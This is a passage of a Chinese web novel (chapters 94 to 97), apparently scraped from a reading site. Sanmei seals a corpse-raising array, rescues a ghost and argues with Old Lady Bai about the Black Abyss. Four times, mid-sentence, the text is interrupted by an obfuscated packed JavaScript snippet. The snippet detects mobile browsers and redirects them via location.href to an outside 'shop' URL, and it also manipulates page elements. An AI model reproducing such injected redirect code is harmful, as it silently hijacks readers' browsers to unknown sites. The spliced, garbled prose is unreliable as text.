虽然那些人破土而出的时候,外形看起来与一般常人无异,但是令人惊悚的是,没有瞳仁,都是一水的大白眼。 而且他们的身体都很僵硬,走路的姿势歪七扭八,形态各异,行动的时候亦是诡异地发出嘎吱嘎吱的声音,仿佛关节骨头都要磨烂了的感觉。 每个人的眉心上,都印着一个深深的黑色符文,与三枚之前打在木清梅身上的咒印不同,黑色的符文,像是凿刻在他们的眉心,就像诅咒的标记,永久都不会消失。 然而,木清梅却猜错了,那个符文的边沿被头顶那缕阳光照射到的时候,突然闪过黑色的光芒,眨眼的瞬间,符文也跟着消失不见了。 但她总觉得,那个符文并没有消失,而是深入了那群人的骨髓里。 因为木清梅发现,符文消失的瞬间,他们僵硬的肢体,突然就变得协调了起来,走路的姿势看着也正常了不少,甚至他们的白眼也恢复了正常,只是稍显空洞呆板了一点。 三枚:“然后呢?那些‘人’最后去了哪里?把他们从黑渊里接纳出去的人,你有看见吗?” 木清梅抿唇,眼神有些不敢直视三枚,须臾摇了摇头:“当时我的魂体不稳,活动的范围被局限在了养尸地里,无法随意走动。” “但是,你不用担心,那些‘活死人’不成气候的。” 三枚拧眉:“你做了什么?” “我什么也没做。”木清梅摊手,一脸无辜,“都是它告诉我的。” 她指着三枚手中的铃铛,“应该是它做了什么。” 顺着她的手指,三枚看着安静缠在铃铛上的棉絮,若有所思。 木清梅的声音忽而有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729626|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些低落:“具体情况我是不清楚的,它还活跃的时候,我失魂落魄,混混沌沌,现在我魂灵完整,它却......” “你也差不多了。”三枚在心里这样说道。 木清梅的神色忽而一僵,显然听清了三枚的嘀咕。 三枚眼睛一闭:哎呀,忘了她现在能听见自己的心声,真是...... “我知道。”木清梅道,“所以,我们都在求救。” 环绕在她身边的云雾忽而变得更加浓郁,颜色也愈发黑沉了起来。 丝丝缕缕的金色阳光,逐渐稀薄、黯淡了起来。 时间差不多了。 “你、”三枚准备摇铃的时候,倏而拧着眉头,看着木清梅略显迟疑地道:“若是早一点,姑且我还能保你一保。” 如今已是迟了,你最后的下场,可能就是灰飞烟灭。 “这样也挺好的呀。”木清梅坐在栏杆上,双脚悬空,前后踢踏,像个无忧无虑、充满童趣的小孩。 她一脸纯真无瑕的看着三枚,“起码我自由了呀。” 无需轮回,并不用承受生命之重。 即使成为浮散在光阴里的灰尘,她都自由了。 她笑得爽朗,眼角眉梢都是笑意,三枚在她的身上,感受不到一丝戾气和怨恨, “你不后悔就好。”三枚最后说道。 她正对着西南方位,将手中的破瓷碗轻轻放下,手腕一翻,凭空又抽三根线香。 线香缓缓擦过举在头顶的小铃铛,再回到三枚身前时,已被点燃,徐徐地飘着香雾。 三枚抬头,最后扫了木清梅一眼。 木清梅已经从栏杆上下来,背手站在她的厢房门口,对上三枚眺望而来的视线,缓缓勾唇一笑。 她轻轻挑起裙角,对着三枚姿态优雅地行了一礼,接着毫不犹豫转身,撩开珠帘迈步进了房间。 “赴死之人都这般从容,我怎的这般优柔寡断,实在不像话!”三枚咬唇,恨恨地跺了跺脚。 线香旺盛,才这么一会儿,便燃了一大半之多,三枚将香灰轻轻抖落,慢慢地原地转了一圈,才慢慢地弯腰,将香火竖到了破瓷碗里。 破瓷碗里的两枚五铢钱,顺着缭绕的烟气,一跃一跃地跳回了三枚的手上。 一切准备就绪,三枚转头,看向了远处的小土坡。 陆衎身姿笔挺,站在高处,风从他的身边拂过,带起他的衣角,不断地向后飞着,他却仿佛青山一般,岿然不动。 三枚的嘴角忽而上扬,低头轻笑了一声,举着铃铛的那只手,尾指忽而虚空轻轻一勾,紧接着便毫不犹豫地摇响了铃铛。 铃铛里的小小金属丸子互相撞击,滚来撞去,终于发出了清凌凌的脆响。 “叮铃、叮铃、叮铃、” 随着铃声响起,一直微弱起伏的地面,猛然开始晃动了起来,发出“嗡嗡嗡”的沉闷声响。 三枚不再耽搁时间,抓着紫铜色的小铃铛往上天上一扬,用力丢向悬浮在空中的云阁。 附着在铃铛上的棉絮,与弥漫在高空的浓雾接触,倏而发出“砰”的一声巨响,擦起的火花向四处迸溅。 铃铛也在这个时候蓦然变大,慢慢地向极阴之地覆盖下来。 直到看见一抹身影,倏的一下被吸附进铃铛里,三枚才抄起地上的破瓷碗,撒腿便跑。 她小心护着碗里的线香,边跑边大声吼道:“陆衎,开箱!” 95. 第 95 章 养尸地界发生了剧烈的地动,千钧一发之际,九阴之阵被三枚的铃铛彻底封印。 阳光洒照在紫铜色的铃铛之上,闪闪发光。 三枚呼哧喘着粗气,双腿发软,索性就地躺倒。 她现在躺在地上的位置,距离养尸地,只有一步之遥。 三枚觉得自己上辈子就是一个穷凶极恶的赌徒,这辈子才总是喜欢在各种燃眉之急的时刻,冒着九死一生的危险,临时下注。 就在刚才摇响铃铛的瞬间,她轻轻勾了勾尾指,其实是在暗示陆衎先把锁魂箱打开,三枚要赌一把,在封了九阴阵眼的同时,把木清梅从阵眼里给摘出来。 所以在丢完铃铛后,她并没有立马离开养尸地,而是等到听见期待中的“砰”的一声,她就知道,不止与她神志相连的铃铛,陆衎也和她心有灵犀了。 现在就看,锁魂箱里的小棺椁给不给力了。 三枚歪着头,看着养尸地里浓烟滚滚,黑雾弥漫,而自己的鞋子,亦被浓烟包围,正滋啦往上冒着烟泡。 刚才真是千钧一发,她还剩一脚没有迈出来,破瓷碗里的线香便燃烬了,差点废了一条腿。 “我算是尽力。” 三枚呼出一口气,听见远处传来一阵急促奔跑的脚步声,脑袋向右一转,就见陆衎眼冒火光,一脸急切地朝自己飞奔而来,速度快得都出现残影了。 再看他攥着锁魂箱的手背青筋毕现,还没靠近,三枚就已经感受到了他浑身的怒火。 “你——” “我没事!”三枚小手一抬,率先开口。 “我——” “你别着急,我真的没事。”她又一次飞快地截断陆衎的话头,笑嘻嘻地看着她:“就是你之前在眧州给我买的鞋子,没了一只。” “现在是一只鞋子的事吗?”陆衎咬着牙,看着三枚的小脸,气得牙痒痒,又拿她没办法。 “不是。”三枚现在特别乖顺,皱着脸看着头顶上方的陆衎,一只手捂着肚子,可怜兮兮地道:“我肚子饿了。” 陆衎:“你真是......” “我现在心有余悸,全身无力,”三枚一边说一边拧着眉头,气鼓鼓地看着陆衎,“你该不会还要骂我吧?” 陆衎还没说话,她又道:“骂就骂吧,但是骂完后,可不许打我啊。” 总不能觉得自己太可恶了,然后又骂又打的吧? 看着三枚躺在地上,一双无辜的杏眸会说话一样,滴溜溜地盯着你看,陆衎瞬间就被气笑了。 “什么话让你说了,我还能怎么办?”一身的火气都让她三言两语给说没了。 天知道刚才有多危险,那些追逐在三枚身后的浓烟有多汹涌澎湃,仿佛海浪翻天,要将人吞噬殆尽一般。 来不及把锁魂箱里的棺椁关好,陆衎拽起背带就跳下了土坡,见三枚的脚尖差点被浓雾覆盖,吓得他腿一软,差点就跪了。 现在看她浑身狼狈地瘫在地上,一只脚光溜溜的沾了一脚的泥土,汗流浃背的陆衎,双脚发软,由衷地感到后怕。 算了,三枚全须全尾,没事就很好了。 他此刻的心里充满了庆幸和感激。 三枚不知陆衎的心路历程,见他没了发怒的样子,瞬间就洋洋得意了起来:“你还可以把我拉起来,带我去吃好吃的大肉饼!” “呵,”陆衎垂眸,低笑一声,呼出一口浊气,接着特别配合地弯下腰,大掌朝三枚伸去。 “那现在,还劳烦您赏脸,让陆某为您搭把手。” “哈!”三枚大笑一声,脏兮兮地小手用力地拍在陆衎的掌心,拿腔拿调地道:“行吧,赏你这个脸了!” —— 三枚背着锁魂箱,趴在陆衎的背上,看着他好看的侧脸,凉飕飕的光脚丫蜷了又蜷,想说她箱子里还有一双旧的麻线凉鞋。 摸了摸鼻子,她想:算了,自己又不是很重。 看陆衎一脸轻松惬意的神情,应该也挺乐意的。 “你累不累,箱子还是我拿着吧。”陆衎突然侧过头,看着一脸呆萌的三枚道。 “不用。”三枚摇头,拍了拍锁魂箱,“它现在还得缓缓,我背着反而轻松一点。” 小棺椁不负众望,出色地完成了任务。 令她喜出望外的是,它不仅收了木清梅的魂体,甚至还将回魂即将尸变的马大旺一家,顺利地从他们的身体里给强行拖了出来。 怪不得养尸地最后那般地暴动,甚至都坍塌成了一个深坑。 极端仁慈的小棺椁,对于不公不正的歪门邪道,态度还是一如既往的粗暴简单。 就是苦了三枚和陆衎,被身后翻滚的浓烟追着跑。 他们现在必须得快点找到黑渊的出口,按照养尸地里哗哗往外溢出的浓烟雾瘴的速度,估计没一会儿,就能将整个黑渊填满。 “啧。”三枚啪啪敲着锁魂箱,小声嘟哝:“这个木清梅,怎么这么长时间了,还没醒?” 虽然木清梅没有亲眼看过其他活死人的去向,也不曾见过阴谋背后的主使,但她一定知道,黑渊的出口在哪里。 否则那些活死人是怎么被运送出去的?总不能又是凭空出现,再凭空消失吧? 三枚大胆猜测,背后那人没有这么大的本事。 否则活死人一旦生成,直接就被转移了阵地,哪里还用大费周章地从土里爬出来,再一步一步走出养尸地,这样麻烦? 她自言自语嘟嘟囔囔,说话时呵出的热气,拂过陆衎的耳朵,滑过他的耳垂,再轻轻擦过他的脸颊。 陆衎身体瞬间微颤,圈着三枚的双腿倏而用力一紧,背着三枚往上一掂,借此掩饰莫名发僵的身体动作。 “怎么了?”三枚明显感觉到陆衎身体突然一顿,“是不是累了?” 也是,背着她在黑渊里跑了这么久,她背上还有一个老沉老沉的锁魂箱,换了其他人早就累瘫了。 陆衎却道:“没事,不累。” 他摇头,身体恢复了自然,脚程反而越走越快。 “等等。”三枚拍着陆衎的肩膀,“你先停下来。” 陆衎:“没事,我并不累。” 三枚:“不是,我好像听见八耳的声音了。” “八耳?” 陆衎才想起来,总是与三枚形影不离的小野鸡,这次从头到尾都没守在她的身边。 对了,他好像在黑山寨的密林里,看见有只乌漆嘛黑的小野鸡,被倒挂在蛛网上火烤。 虽然当时情况紧急,着急寻找三枚身影的陆衎,略过八耳身边的时候,并没有错过它从眼里突然迸射出不可置信的控诉眼神。 陆衎莫名有些心虚,生怕三枚知道他对小八耳见死不救,而有微词。 脚下的速度放慢,他左右张望了一眼,忽而一跃而起,跳到了另一处较高的小坡上,放眼眺望。 三枚双手撑在陆衎的肩膀上,侧着耳朵仔细听着周遭的声音。 静谧的黑渊,除了徐徐的风声,和他们两人轻微的呼吸声,似乎并没有其他的声音响起。 就在三枚以为是自己听错了的时候,一声略显沙哑粗噶的鸣啼声,自头顶乍然响起。 “嘎!” 三枚立马循声望去,就见斜前方有一坨黑乎乎的小糊团,在朝自己极速靠近。 看清那糊团真身之时,她瞬间瞪大了眼睛,满脸的不可思议。 “这、还是我的八耳吗——” 总是一身油光发亮、雄赳赳气昂昂的小八耳,总是骄傲地顶着自己那特立独行的紫色单冠的小八耳啊,总是斗志昂扬、睥睨一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733916|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唯我独尊的小八耳啊...... 怎么就成了这样一幅鬼样子了?! 通体乌黑的鲜亮小羽毛,被烧得焦的焦,掉的掉,八耳此刻身上的毛发稀疏散乱,露出了斑驳难看的肌肤和毛糙不一的绒毛。 不仅紫色单冠焉了,它眼睛的光也暗了,嘹亮的歌喉粗噶得仿佛含了一嘴的砂砾,却还坚持不懈地用那哀戚婉转的声音,在一声声地呼唤着自己。 “噶!!!” 看着距离自己越来越近、努力呼扇着翅膀的小八耳,三枚腾地一下从陆衎的背上直起身,眼冒怒火,叉腰怒吼:“哪个不要命的混账王八羔子,把我的小八耳害成这样的??!!!” “是谁!!!!!” —— 三枚怒火冲天,咬牙切齿,张牙舞爪,恨不能将欺负八耳的人就地正法、碎尸万段。 她的嘴里碎碎念不停,恶狠狠地表示一定会揪出下毒手的人,替它报仇雪恨。 陆衎攥着拳头,心理莫名有些紧张。 他不动声色地咽了咽口水,就怕一脸生无可恋倒在三枚怀里的小八耳,忽然一个鲤鱼打挺,怒指着自己朝三枚控诉:“就是他,陆衎!” 虽然把小八耳困在蛛网里火烤的罪魁祸首不是自己,但陆衎当初路过它身边的时候,似乎它还没这般的狼狈凄惨。 见小八耳确实不会说人话,而且精神显然遭受了沉重的打击,十分萎靡不振的样子,陆衎默默地松了一口气。 他脚下一挪,后退一步,给她们一人一鸡留出了相处的空间,决定等它们都冷静下来了再说。 转身就见裴元一脸贱兮兮地看着自己,陆衎神色立马恢复了往常的面无表情。 “你们怎么会出现在这里?”他越过裴元,看着之夜和邢正问道。 “啪!”裴元打开折扇,扇子阻挡了陆衎的视线。 他笑得一脸猥琐,挑着眉头,垂眸睨了眼赤脚的陆衎,又瞥了下他身后鞋子明显不合脚的三枚,意味深长地轻笑道:“呵呵。” “手里怎么就提着一只鞋呀?”裴元折扇轻轻拍了下陆衎垂在身侧的胳膊。 陆衎:...... 提着三枚鞋子的手往身后一背,陆衎冷眼若有似无地扫了裴元一眼。 “咳咳。” 裴元顿觉头皮发麻,折扇掩唇,轻咳了几声,不情不愿地侧身一退。 他向后撇了撇嘴,下巴朝边上佝偻着腰的小老太一点,“这个小老太私下找到我们,说能为我们带路。” 当时陆衎从悬崖跳下黑渊,之夜目眦欲裂,慌乱失措下没有注意,竟让那两个害了三枚和小八耳的男人跑进了密林里,不见了影踪。 等到裴元和邢正带着得救的八耳追到悬崖边的时候,只看到了两个贼人的背影。 穷寇莫追。 而且还是在人生地不熟的神秘山林里,邢正和裴元意见一致,决定无论如何,一定要下深渊找到陆衎和三枚。 然而悬崖太高太过陡峭,黑山寨的寨民又百般阻挠,不管之夜搬出了陆衎大理寺少卿的身份,还是裴元亮出了自己镇国公世子的头衔,都无济于事。 “真是穷山恶水出刁民!”裴元气得咬牙,一时却无可奈何。 就在他们无计可施,打算破罐子破摔的时候,一个邋里邋遢的小少年,偷偷地找到了邢正,说他们知道一条通往黑渊的捷径,可以偷偷地带着他们去找人。 于是,在这个小老太的带路下,裴元和邢正他们便找到了这里。 陆衎顺着他的视线望去,见地上歪坐着一个白发苍苍的小老太,神情呆滞地望着远处的弥漫浓烟,面上虽不显,却手脚发颤,嘴里有一下没一下地吸着旱烟。 若是没猜错的话,这个小老太,估计是三枚之前故事里的白老太了。 96. 第 96 章 “涂达西嘴凸眼斜,一看就不是什么好人,但他向来胆小怕事,又坏又怂,绝对想不出用蛛丝缠住你,再将你架在火上烤这样残忍无道的坏点子。” 三枚语气愤愤然,脑子飞转,窸窸窣窣给小八耳分析具体对它下毒手的贼人。 “指定是贼眉鼠眼的涂远东!胚子烂透了的家伙,最爱躲在背后使坏。” 揪着八耳的紫色单冠,三枚和它大眼瞪小眼,“八耳,你放心,我一定会为你、也为我自己,报仇雪耻的!” 八耳空洞的眼睛瞬间燃起了斗志,响亮地“嘎!”了一声,又恹恹地垂下了头。 跟小八耳喊完话,三枚鼓着劲转身,就听见一个怪腔怪调的声音,听着还挺熟悉。 抬眼一瞧,果然是那油头粉面的裴世子。 许久不见,他的衣着打扮,显然比半年前还要夸张华丽,不管是衣裳的粉色花纹,还是头上的玉冠头饰,都叫人看得眼花缭乱。 站在他身后的邢正,一如既往的五大三粗,一张黑炭脸仿佛更黑了些许,而且他居然还蓄起了络腮胡,看起来更凶神恶煞了。 还有低声在陆衎耳边说着什么的之夜,虽然外形打扮与之前没甚不同,但整个人好像变得沧桑了不少,特别是他眼泛血丝,十分疲惫的样子。 想来都城的差事,也不是那么容易啊,还挺耗费精气神。 看着看着,三枚的视线不知不觉就又来到了陆衎的脸上。 “啧啧,这优越又流畅的脸部线条,”她忍不住在心里感慨,“还是陆衎最好看!” 果然长得好看的人,什么时候任何地点,看起来都是那么地令人神清气爽,心情愉悦。 “不行!” 裴元的身后突然冲出一个眼熟的小老太,狠狠地挥掉陆衎手中的火折子,怒吼道:“不能放火!” “人你们已经找到,赶紧离开这里便是,我是不会允许你们烧了这里的!” 小老太怒气冲冲,一边发脾气,一边挥舞着手里的旱烟杆,作势就要砸在陆衎的身上。 “你敢!”三枚大喝一声。 “老太婆,你再动一下他试试!” 三枚火冒三丈,用力踢踏着鞋子,“哒哒哒”快速往前迈步,眼神凶狠地瞪着无理取闹的小老太。 小老太被三枚气沉丹田的怒喝唬了一跳,烟杆子举到半空就顿住了。 她老脸一抬,就见三枚一手握拳,一手拎着一只小野鸡,气势汹汹地朝自己走来。 白老太小眼也跟着一瞪:“你干嘛?” “这话该我问你才是。” 三枚把陆衎护在身后,将八耳塞到了他的怀里,居高临下地回瞪白老太,恶狠狠地道:“你想干嘛!” 白老太对着地上的火折子一指:“他们要放火烧了这里!” “我让烧的。”三枚双手叉腰,昂首挺胸,理直气壮地道:“怎么地!” “哇!哇哇!哇哇哇!” 裴元神不知鬼不觉悄悄挪到了邢正的身边,折扇扇得飞快,嘴里不停地发出哇叫声。 “这个小三枚,半年不见,气势越发嚣张啊!”他在邢正耳边小声嘀咕,“瞧瞧,瞧瞧,怒发冲冠的小模样,就像要把那小老太生吞活剥了一样!” “简直厉害得不得了呀!” 邢正皱眉,嫌弃地看了裴元一眼,“那老太要打陆在野,你没看见?!” “她打得着吗?”裴元反问,敢打陆在野?估计那手还没伸就废了。 邢正:“我的意思是,人家三枚把陆在野紧紧护在身后,是因为紧张在乎,你难道看不出来吗?” 裴元白眼一翻,“用得着你说!” 在场但凡长了眼睛的人,谁看不出来陆在野和小三枚之间的关系?! 陆在野这厮,明明在都城时冷傲得赛若冰霜,丝毫不动怜香惜玉的人,居然不仅将自己的鞋子让了出来,还心甘情愿地给人拎着一只破鞋。 半年前对长曜郡主和那些缠在他身后的大家闺秀有多冷淡,陆衎此刻脸上的笑容,就有多不值钱!! “就这样,你还敢说陆在野此番出差,一点私心都没有?”裴元嘴角一歪,一脸“众人皆醉我独醒”的傲娇神色。 邢正斜睨他一眼,“原来陆在野在你心里,就是这样公私不分的人。”说完大踏步往前一迈,把人扔在了原地。 “诶你——”裴元不敢置信,邢安然这木头人,来了都城不到半年,这嘴巴怎么也变得这样刁了? 错过了反驳时机的裴元,立马追了上去,撸起袖子一副要跟他大肆理论一番的架势。 “一个一个的,脾气都大了不少啊......” —— “黑渊是庇佑我们黑山寨的灵地,你们不许再次放肆!” 三枚不屑一哼:“是灵地还是冥地,老太婆,你可得说清楚了。” 白老太眼神陡然一厉:“你骂谁老太婆呢?” 三枚气势比她还凶:“谁动手打人,谁就是老太婆!” “他要放火烧了黑渊!”白老太怒指陆衎。 “我说了,是我让他烧的!”三枚理直气壮。 吵了一圈,又绕了回来,白老太气得双手发颤,挥起旱烟杆就要打人。 三枚不但不害怕不后退,反而往前一步,把脸杵到白老太的面前,指着自己的脑袋。 “来呀,你就照着这个地儿打,最好是别手软。”她不仅话说得横,整个人更是拽得不得了。 “你——”白老太一噎,被三枚一身的气势,吓得连连后退,最后腿软跌坐到了地上。 三枚如此暴躁,陆衎看着都有点冒汗,忍不住轻轻拉了拉她的胳膊,他不怕白老太动手,就怕她自个把自己给气伤了。 “三枚,冷静点。” “你别管!”三枚甩开陆衎,“我就不信了,现在谁都敢随便欺负我的人了!” 八耳被整成那副鬼样子,一点精气神都还没缓过来呢,就有人敢当着她的面打陆衎了! 不把这小老太彻底镇住,传出去了,她就该成那好拿捏的烂柿子了。 想治住白老太的三枚,成功也将邢正他们都给震慑住了,裴元都不敢再小声叨叨了。 只有陆衎,被三枚甩开了手,不仅没有不高兴,反而笑开了花,仿佛浑身都沉浸在欢欣愉悦的暖风里。 现在在他的眼里,除了三枚谁都看不见,脑海里一直循环响彻着“我的人”三个字。 认识这么久,裴元从未在陆衎的脸上看见过这样显而易见的明媚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737551|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表情,感觉他嘴角都要咧到后脑勺去了。 “小三枚这样凶狠,真不知道陆在野在开心个什么劲!” 邢正搓了搓胳膊,感觉陆衎脸上的笑容有些瘆人,也默默地移开了视线。 “眼不见为净吧。”他在心里嘀咕道。 和三枚大眼瞪小眼的白老太,坐在冰冷的土地上,指着的三枚的手指颤抖不止,过了好一会儿,才找到了自己的声音。 “你、你、你恩将仇报!”白老太喝道。 三枚哼了一声:“我怎么会掉进黑渊里的,你比谁都清楚!” 这话一出,所有人的脸色都变了,包括高兴得正飘飘然的陆衎。 想到三枚坠落悬崖时手背都被踩烂了,现在隐隐约约还有血迹渗出,陆衎掩饰不住自己心中的怒火,看着白老太的眼神,冷得就像在看一个死人。 “我——”白老太见状,心慌手抖地又往后退了退,急得声音都劈了叉,“推你落崖的人,我根本就不认识!” 果然看见了! 三枚瞬间咬牙切齿,“你什么都看见了,居然见死不救!” 白老太一噎,意识到自己被诈了,磨了磨牙才道:“我个老胳膊老腿的,怎么救?”自投罗网,送人头还差不多。 “不是你们故意将我引导到这儿,我怎么可能会遭暗算?”三枚思路清晰,可不会被白老太牵着鼻子走。 “我也不是坐视不理啊,没有我帮忙,”白老太指着陆衎怀里的小八耳,“这鸡早烤熟了!” 三枚拧着眉:死老太婆,还挺能狡辩! 八耳落得这副田地,她居然还敢振振有词地说帮了忙。 “我可没有撒谎。”白老太见三枚一迟疑,立马重燃气焰,嚯的一下从地上爬了起来,指着八耳道:“不信你问它!” “当时若不是我用烟杆子扯了一把那个蛛网,还把边上的削成尖的树杈打断,它早就被缠成了蝉蛹,被树杈捅死,直接掉进那碳火里活活烧死了!” “啧。”裴元这时候往前一步,“我们当时救下八耳的时候,可没见你这小老太的影踪啊。” 小八耳一只不会说话的小稚鸡,怎么开口作证?还不都你一个小老太空口白牙说了算。 没想到他话音刚落,脑袋发焉的小八耳,居然艰难地从陆衎的怀里探出了它的紫色单冠,有气无力地“嘎”了一声,就又无力地向后倒去。 楚楚可怜的模样,仿佛林妹妹附身,柔弱不能自理,真是我见犹怜。 明明半个时辰前,刚从蛛丝里脱身的时候,小八耳那狠辣冷酷的眼神,和亢奋激烈的情绪,仿佛要跟仇人同归于尽的气势,裴元可是看得清清楚楚,至今历历在目。 “咦。”他起了一个胳膊的鸡皮疙瘩,嫌弃得眉头直皱,“它这又演的什么呢?” 三枚转头,不轻不重地睨了裴元一眼,“它说,老太婆说的是真的。” 裴元:“哈?” 小三枚还听得懂鸡言鸡语?那还真是多才多艺。 “既然如此,”有了八耳的证言,三枚姑且原谅了白老太一分。 她收回浑身外露的气势,大发慈悲地道:“那就暂且把账搁着,之后再跟你们算总账。” “现在,放火烧了黑渊。” 97. 第 97 章 “现在,放火烧了黑渊。” “不行!” 三枚不管白老太在身后怎么跳脚,她都不想再浪费口舌了。 见白老太又要去拦捡火折子的之夜,三枚轻哼一声:“小老太,你想好了,若是耽误了时辰,木清梅可就彻底葬送在这儿了。” “你——”白老太浑身一震,不敢置信地看着三枚,“真、真将阿梅小姐,救出来了?” 果然!果然!果然! 不管是幻梦里的木老夫人和许妈妈,还是现实世界里的白老太和白阿丑,一个塞一个的好演技! 这其中,演得最好,还得是女主角木清梅! 一想到自己因为她最后那个决绝的背影,居然心软冒了个大险,三枚就气得牙关紧咬! 她心塞气又堵,懒得搭理白老太,气鼓鼓地拉过陆衎的手,大踏步就往出走。 路过邢正时,她微微颔首:“邢大哥。” 邢正:“三枚,好久不见。” 三枚点头,凭空又抽出了三根线香,递给邢正。 “放完火,在洞口的位置插上,香完了,朝香灰堆积的地儿,埋下一壶清酒,之后就不用再管了。” 等天亮了,洞口自然就封了。 “哦,好。”邢正接过线香,愣愣地看着三枚牵着陆衎扬长而去的干脆背影。 “糟糕,糟糕,糟糕了!”裴元原地跺脚,一脸“大事不好”地指着前方。 邢正:“又怎么了?” “地位!”裴元恨铁不成钢地拍着折扇,“瞧瞧陆在野现在被牵着走的乖巧模样,可见日后,家庭地位,要不保啊!” 邢正大翻白眼:“人两口子的事,跟你有甚干系?” 真是皇帝不急太监急! —— “我们白家,祖祖辈辈,不论男女,都是黑山寨的守墓人。” 三枚一行从黑渊里出来的时候,已经月上中天。 白老太人老腿短,追在三枚的身后,几乎全程都在小跑,一出了密道,整个人累得直喘粗气。 她靠坐在一棵老槐树上,一边捶腿,一边说道:“因为全寨,只有我们白家的人有阴阳眼。” 裴元瞪大眼睛:“阴阳眼!” 该不会是他听说过的,能看见那啥的阴阳眼吧? 殊不知他刚问完,白老太便点了头。 “老一辈的人说,阴阳眼是通灵的特异功能,能看见一般人都看不见的东西,特别是阴间鬼魂这些神怪之事。” 裴元顿觉头皮发麻,三步并作两步,一下子就窜到了陆衎的边上。 “小三枚,你听见了吗?她说她有阴阳眼。” 三枚撇了撇嘴,哼了一声。 忽而一阵冷风拂过,吓得裴元浑身汗毛倒竖,起了一身的鸡皮疙瘩,连话都不敢说了。 白老太见三枚疾走的脚步略有减缓,知道她这是听进去了。 心下一松,她浑身紧绷的神经,也开始慢慢松懈了下来。 “之前你也曾到过我家的小院,就在城门附近,与寨子其他人家都有一段不短的距离。” 黑山寨里的房屋,看似错落有致,实则聚居紧挨在一起。 唯独边上,居然独自坐落着一处老旧的小院,任谁看都觉得有些奇怪。 “我们是被孤立出来的,寨子里的人都觉得,阴阳眼的守墓人,浑身都是晦气。” 白老太哆哆嗦嗦地吸了一口旱烟,“其实寨子里所有人都觉得,我们白家应该呆的地儿,是在密林里的墓地上,而不是同他们一样,生活在寨子里。” 后来白氏里有人受不了,便借着守山的名头离寨,实际上是出走他乡去了。 渐渐地,村里姓白的守墓人,就只剩下白老太一家。 “我和阿梅小姐相识相遇的过程,全是实话,没有半分虚假。”白老太对着三枚的背影道,“我至多,是对你有所保留,真话说不全罢了。” 三枚磨牙嚯嚯,恨恨地揪着陆衎的衣袖,心里不忿:这个白老太,说的头头是道,怎么就不提木清梅和巧儿戏精附体,演了一整套戏来忽悠她的事儿呢?! “所以,当年木清梅离家出走,你是知情人之一?” 陆衎瞥了眼自己那被扭成了麻花的衣袖,忽而开口道:“甚至她和巧儿,能够在密林里生活那么长一段时间,也是你在暗中相助?” “用衣被缠成绳子逃出云阁,还有乔装打扮混出寨子,再到躲进密林暂避风头,都是我给出的主意。” 白老太没有否认,“毕竟我的身份是守墓人,时不时要进出寨子,不仅能给她们主仆带去消息,也能及时为她们的生活所需补助一二。” 陆衎:“木清梅主仆所说的崖道呢?” “确实有这么一条崖道存在。”白老太又抽了一口旱烟,缓缓吐出烟雾,才慢声道:“但那崖道的尽头,不是阿梅小姐想象中的康庄大道,而是一片无际的汪洋大海。” 沉默了许久的三枚,听到这儿,轻轻地哼了一声:“黑渊呢?” 白老太老眼一垂,睨了三枚一眼,最后还是选择了实话实说。 “其实我们守墓人,表面看是在守黑山寨的宗族墓地,实际上守的是那黑渊。” “但我之前确是不知道,黑渊之下到底是个什么模样。” “寨子里的老人,都说下头住着神仙,每年万谷节献上的供奉,之所以会消失,就是因为神仙收下了。” 白老太指着自己的右眼,“其实谁也没看见什么神仙,就像我的阴阳眼,从来没有见过什么奇怪的东西一样。” “我也只当那是一个神秘的悬崖深渊,直到某个月朗星稀的黑夜,阿梅小姐的身影突然出现,就漂浮在深渊之上。” 她以为自己魔怔了,恍惚觉得自己进了木府,而阿梅小姐,就站在她的云阁里,微笑地看着她。 “这条密道,也是我在追逐阿梅小姐的时候,无意之中发现的。” 但白老太从没有进去过黑渊,因为木清梅的幽魂不让,那里的阴邪之气,也让白老太心生畏惧。 “其他的我可以不跟你多家追究,但是从黑渊里出来的那些‘活死人’,这么些年,你应该见过不少了吧。” 三枚眼睛紧紧盯着白老太,看见她满是褶皱的老脸一颤,她就知道自己没猜错。 在边上听得云里雾绕的裴元,咽了咽口水:妈呀,这是什么龙潭虎穴,又是幽冥,又是邪术的,现在还来个活死人! 搓了搓身上的鸡皮疙瘩,他小心地挪到了邢正的身边,在他耳边小声嘀咕:“你说,怎么每次碰上小三枚,总是能跟灵异神怪扯上点关系?” 邢正扭头,奇怪地看着裴元,“三枚本来就是寻尸人,跟灵异神怪扯上关系,不是很正常的事吗?有甚好大惊小怪的!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 